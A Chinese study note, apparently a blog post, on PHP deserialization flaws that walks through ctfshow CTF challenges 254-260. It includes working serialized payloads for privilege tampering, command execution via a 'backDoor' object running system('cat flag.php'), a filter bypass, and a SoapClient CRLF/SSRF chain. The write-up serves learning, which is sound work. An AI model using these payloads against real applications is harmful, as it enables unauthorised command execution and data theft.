安全学习放一放,专心弄毕设。
反序列化-PHP(php、python、java)
反序列化应该是目前比较流行的漏洞。跟经典的漏洞相比,它出现的次数越来越多,带来的影响也越来越大。我记得以前某次面试面试官曾问我关于反序列化的问题,我没有回答上来,在我所学的知识里其实很多次听到反序列化这个词。
在学习java的时候我是注意到序列化这个知识点的。我以前的理解就是我们编写的程序代码要进行传输,就要序列化,把代码变成机器能够传输拼凑的样子,然后接收方再通过反序列化还原程序的代码。反序列化在没具体了解之前我认为类似于改包,目的是破坏软件的完整性。
现在我开始具体了解这个令人棘手的问题。
序列化:把对象变成数组或者字符串
反序列化:把数组或者字符串转成对象
补充:反序列化利用大概分类三类
-魔术方法的调用逻辑-如触发条件
-语言原生类的调用逻辑-如SoapClient
-语言自身的安全缺陷-如CVE-2016-7124
一、PHP中的序列化和反序列化
首先了解一下php语言中两个相关的函数:
①serialize() //将一个对象转换成一个字符串
②unserialize() //将字符串还原成一个对象
序列化是数据的某种格式,其目的就是为了在传输的过程中保证完整性以及效率。下面借助迪总的课程图片来加深理解:

如上图表示的序列化后的信息,我认为序列化就像协议,告诉接收方如何转换我们传输过去的内容信息。
在php中有很多魔术方法,用来辅助我们实现很多功能。在学习安全的过程中我们经常使用phpinfo()来查看php的一些配置信息。比如当php版本低于5的时候,可能会产生一些跟不安全的配置相关的漏洞。
反序列化漏洞产生的原因之一,是魔术方法的不正确使用。魔术方法就好比java学习里面的构造函数,如果魔术方法开启,当代码执行了特定的功能就会触发魔术方法,也就是说很有可能在程序员意料之外执行了某个危险的魔术方法。
其中最危险的是:反序列化的过程中,使用的变量可以被控制,也就是可以被修改(赋值)。在迪总演示反序列化的第一个例子看出,尽管代码层写好固定的命令你个执行语句,但是如果攻击者在url上修改对应的长度和值,可以实现别的命令你个的执行。从这里就能看出危害。
不过反序列化漏洞一般只能通过白盒测试发现,黑盒不太可能能被测出来。
下面给出一些php常见的魔术方法:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
下面借助的迪总的笔记,再附上自己学习后的体会理解
254-对象引用执行逻辑
username=xxxxxx&password=xxxxxx
255-反序列化变量修改1
Code:
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
本题白盒审计源代码,发现验证部分有php的反序列化函数。检查代码逻辑需要通过修改身份信息为高级用户,思路就是思考如何修改。代码中提示,验证除了账号密码还要验证cookie,而本题cookie中就带有身份信息,因此我们先修改身份,然后将结构体对象使用序列化函数序列化,之后为了防止空格导致的错误,使用url编码。于是通过抓包,使用bp改包,把修改的部分加到数据包中同时在GET行加上username还有password
256-反序列化参数修改2
CODE:
public $username=’x’;
public $password=’y’;
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
GET:username=x&password=y
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
这题先是判断账号密码是否一样,在判断账号密码跟设定的一不一样。同样的接受cookie的数据,按照逻辑修改然后发包。
257-反序列化参数修改&对象调用逻辑
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code=’system(“cat f*”);’;
}
$b=new ctfShowUser();
echo serialize($b);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
258-反序列化参数修改&对象调用逻辑
<?php
class ctfShowUser{
public $class = ‘backDoor’;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code=”system(‘cat flag.php’);”;
}
$a=serialize(new ctfShowUser());
$b=str_replace(‘:11′,’:+11′,$a);
$c=str_replace(‘:8′,’:+8′,$b); //这两步为了使用替换函数绕过被限制的部分
echo urlencode($c);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
259-原生态类&call魔术方法&配合SSRF
参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception
生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll (默认是不开启的,如果要使用需要手动开启) //这个原生类可以访问网站(仅限于http或者https协议)
<?php
$target = ‘http://127.0.0.1/flag.php’;
$post_string = ‘token=ctfshow’;
$b = new SoapClient(null,array(‘location’ => $target,’user_agent’=>’wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded’.’^^Content-Length: ‘.(string)strlen($post_string).’^^^^’.$post_string,’uri’=> “ssrf”));
$a = serialize($b);
$a = str_replace(‘^^’,”\r\n”,$a);
echo urlencode($a);
?>
vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
260-字符串序列化
ctfshow=ctfshow_i_love_36D